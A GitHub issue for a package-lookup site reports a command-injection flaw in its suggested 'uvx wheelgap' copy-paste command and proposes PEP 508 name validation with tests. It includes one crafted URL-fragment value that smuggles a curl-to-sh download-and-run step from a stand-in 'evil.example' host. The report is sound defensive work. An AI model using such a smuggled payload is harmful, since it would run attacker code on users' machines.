You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Lookup: don't put arbitrary text from the URL into the "isn't in the top 5,000" command #57
When a looked-up name isn't in the scan, the lookup card suggests uvx wheelgap <name> -t all, with <name> taken from the search box or the #package= URL fragment. It's HTML-escaped, but not checked as a package name, so a crafted link such as #package=foo%3B%20curl%20https%3A%2F%2Fevil.example%2Fx%20%7C%20sh%20%23 shows the copy-paste command uvx wheelgap foo; curl https://evil.example/x | sh # -t all on our site.
site/logic.js already refuses anything but one URL shape for the Pyodide lock "because it ends up in a copy-paste shell command". The not-found message needs the same care.
What to do
Add isPackageName() to site/logic.js with the PEP 508 name pattern, ^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$, case-insensitive.
In renderLookup (site/app.js), show the command only for a valid name; otherwise say "isn't a valid package name" in plain text.
Tests in tests/site/logic.test.js: valid names (numpy, zope.interface, A_b-c) pass; ;, spaces, |, backticks, $(…) and an empty string don't.
Activity
Precision UI: own stylesheet, true numbers everywhere, keyboard access
Lookup: only suggest the uvx command for a valid package name (wheelg…